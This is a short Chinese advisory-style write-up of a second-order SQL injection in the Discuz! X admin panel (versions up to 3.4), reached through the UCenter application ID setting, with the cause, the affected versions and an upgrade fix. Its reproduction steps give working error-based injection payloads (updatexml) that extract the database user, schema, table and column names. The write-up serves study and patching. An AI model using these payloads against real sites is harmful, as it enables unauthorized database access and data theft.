Discuz! 系列<=3.4 后台 sql注入漏洞
漏洞描述:
Discuz!X全版本存在SQL注入漏洞。漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid']参数时未进行完全过滤,导致出现二次注入。在特定条件下,攻击者可以利用该漏洞获取服务器权限。
漏洞利用条件:
将appid值写入配置文件config_ucenter.php之中未进行严格的过滤。在页面刷新的时,会将config_ucenter.php中的UC_APPID取出,并拼接进SQL语句,从而造成了二次注入。
漏洞影响范围:
Discuz! 系列<=3.4
漏洞复现:
1.进入后台管理页面,进入“站长”项的UCenter设置,然后点击提交并抓包:
2.在“应用 ID”参数处存在报错注入,判断列数:
Order by 1 正确
Order by 2 错误
3.查询当前用户:1' and updatexml(1,concat(0x7e,(select user())),1)-- q
4.查询当前数据库:1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- q
Limit 1,1/limit 2,1...以此类推查询出所有的数据库名
查询表:1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='数据库名' limit 0,1)),1)-- q
查询字段:1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='表名')),1)-- q
修复建议:
1.升级新版本
学习文章,仅供参考